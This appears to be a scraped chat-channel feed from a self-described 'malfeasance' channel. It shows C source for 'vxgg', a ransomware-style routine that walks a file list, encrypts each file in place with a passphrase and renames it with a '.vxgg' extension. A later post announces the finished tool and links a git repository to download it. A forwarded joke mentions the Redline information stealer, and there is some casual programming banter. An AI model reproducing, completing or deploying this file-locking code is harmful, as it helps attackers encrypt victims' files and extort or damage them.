I think printf and its related functions that take format specifiers are the unsung heros of C. They make dealing with strings so much easier than having to use functions from
<string.h>. In other news, I consolidated the encryption and decryption function into once hideous monster functionint rename_format(const char *fullpath, const char *format, ...) {
va_list ap;
va_start(ap, format);
char *newname = NULL; int err = 0;
if((err = vasprintf(&newname, format, ap)) < 0) {
error(0, 0, "<rename_nodelist> Could not create string for new file");
return err;
}
if((err = rename(fullpath, newname)) < 0) {
error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname);
return err;
}
free(newname);
va_end(ap);
return err;
}
int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag) {
int fd = -1;
regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);
for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL)
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH && flag == VXGG_ENCRYPT) // Don't encrypt already encrypted files
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH && flag == VXGG_DECRYPT) // Skip non-matching files
continue;
fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, 0, "<decryptvxgg> Couldn't open \"%s\" for %s", p->fullpath, (flag == VXGG_ENCRYPT) ? "encryption" : "decryption");
#endif
continue;
}
passencblock(fd, passphrase);
close(fd);
if(flag == VXGG_ENCRYPT) {
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif
}
if(flag == VXGG_DECRYPT) {
char *newname = NULL;
#ifndef TESTING
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg"));
#else
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1);
#endif
rename_format(p->fullpath, newname, p->fullpath);
free(newname);
}
}
/* The beauty of my shitty encryption function is that it's reversible by just running it again with the
// same password. Most of this function is just picking the right files to operate on and deciding how to
// rename them */
return 0;
}🎉1
Can't get vxgg to decrypt on jackpot and I'm this close to not caring anymore
Forwarded from DUMB SHIT MISCHIEF AND MALFEASANCE EDITION (Psyxhe)
Forwarded from DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
Photo
I fucking finally finished vxgg
Go grab a copy
git clone https://git.dabikers.online/VX_GAMBLEGROUND
Forwarded from vx-underground
Saw XI: Internet Dweeb Edition:
Jigsaw voice: "Hello, internet pirate, want to play a game? One of these buttons is a real pirated version of Photoshop. The other three deliver Redline information stealer. Make your choice."
Jigsaw voice: "Hello, internet pirate, want to play a game? One of these buttons is a real pirated version of Photoshop. The other three deliver Redline information stealer. Make your choice."
😁1
just started first programming lesson in uni, i feel braindead
🤝2
DUMB SHIT MISCHIEF AND MALFEASANCE EDITION
just started first programming lesson in uni, i feel braindead
Yeah it sucks dick until you do it for 5 years. Then it still sucks dick but you don't care anymore
🥴1